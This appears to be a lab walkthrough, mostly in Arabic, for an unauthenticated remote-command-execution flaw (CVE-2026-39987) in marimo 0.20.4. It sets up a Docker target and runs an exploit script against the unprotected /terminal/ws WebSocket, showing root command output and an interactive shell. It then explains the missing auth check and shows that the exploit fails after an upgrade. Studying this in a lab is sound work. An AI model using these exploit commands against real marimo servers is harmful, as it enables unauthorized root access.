┌─────────────────────────────────────────────────────────────┐
│                        شبكة Docker                         │
│                        (cve-lab)                           │
│                                                              │
│   ┌──────────────────────┐      ┌──────────────────────┐   │
│   │   marimo-vulnerable  │      │   marimo-attacker    │   │
│   │   (الهدف)            │      │   (المهاجم)          │   │
│   │   المنفذ: 2718       │      │   Python 3.12        │   │
│   │   المصادقة: رمز      │◄─────│   exploit.py         │   │
│   │   marimo: 0.20.4     │      │                      │   │
│   └──────────────────────┘      └──────────────────────┘   │
│                                                              │
└─────────────────────────────────────────────────────────────┘

# استنساخ المستودع
git clone https://github.com/YOUR_USERNAME/CVE-2026-39987-lab.git
cd CVE-2026-39987-lab

# بدء المختبر
docker-compose up --build -d

# تشغيل الاستغلال
pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

# الحصول على قشرة تفاعلية
python exploit.py ws://127.0.0.1:2718/terminal/ws shell

# أنشئ دليل عمل وضع هذه الملفات بداخله:
#    - docker-compose.yml
#    - Dockerfile.target
#    - exploit.py

# بناء وبدء الهدف
docker-compose up --build -d

# تحقق من أن الهدف يعمل
docker ps
# يجب أن ترى: marimo-vulnerable   Up   0.0.0.0:2718->2718/tcp

# حاول فتح الواجهة الرئيسية في متصفح أو عبر curl
curl -s http://127.0.0.1:2718/
# المتوقع: إعادة توجيه إلى صفحة تسجيل الدخول أو 401/403 (الرمز مطلوب)

# جرب WebSocket الرئيسي (/ws) بدون رمز
python3 -c "import websocket; ws=websocket.WebSocket(); ws.connect('ws://127.0.0.1:2718/ws')"
# المتوقع: رفض الاتصال أو إغلاقه فورًا بسبب غياب المصادقة

pip install websocket-client
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id && whoami && hostname"

[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[+] Connected! No auth needed - Terminal WebSocket accepted
[*] Executing: id && whoami && hostname

[+] Output:
uid=0(root) gid=0(root) groups=0(root)
root
<container_id>

python exploit.py ws://127.0.0.1:2718/terminal/ws shell

[+] Got interactive shell! Type 'exit' to quit.

$ ls -la /
total 56
drwxr-xr-x   1 root root 4096 Jan  1 00:00 .
drwxr-xr-x   1 root root 4096 Jan  1 00:00 ..
...
$ exit
[*] Connection closed.

┌─────────────────────────────────────────────────────────────────┐
│  Middleware المصادقة (Starlette)                               │
│  ├── يعلّم الاتصالات غير المصادق عليها كـ "UnauthenticatedUser" │
│  └── لا يغلق اتصالات WebSocket تلقائيًا                        │
└─────────────────────────────────────────────────────────────────┘
                              │
              ┌───────────────┴───────────────┐
              ▼                               ▼
    ┌──────────────────┐          ┌──────────────────┐
    │   /ws (الرئيسي)  │          │ /terminal/ws     │
    │                  │          │ (الطرفية)        │
    │  ✓ validate_auth()│          │  ✗ لا يوجد فحص مصادقة │
    │  ✓ @requires("edit")│        │  ✓ SessionMode.EDIT│
    │                  │          │  ✓ supports_terminal()│
    │  يرفض غير المصادق │          │  ✓ يقبل فورًا      │
    └──────────────────┘          └──────────────────┘

# عدّل Dockerfile.target: غيّر marimo==0.20.4 إلى marimo==0.23.0
# أو استخدم: sed -i 's/marimo==0.20.4/marimo==0.23.0/' Dockerfile.target

docker-compose down
docker-compose up --build -d

# حاول تشغيل الاستغلال مرة أخرى
python exploit.py ws://127.0.0.1:2718/terminal/ws exec "id"

[+] Connecting to ws://127.0.0.1:2718/terminal/ws...
[-] Connection failed: Connection refused or authentication required

# إيقاف وإزالة الحاويات
docker-compose down -v

# إزالة الصورة المبنية
docker rmi cve-lab_target

# تنظيف أي صور عالقة
docker image prune -f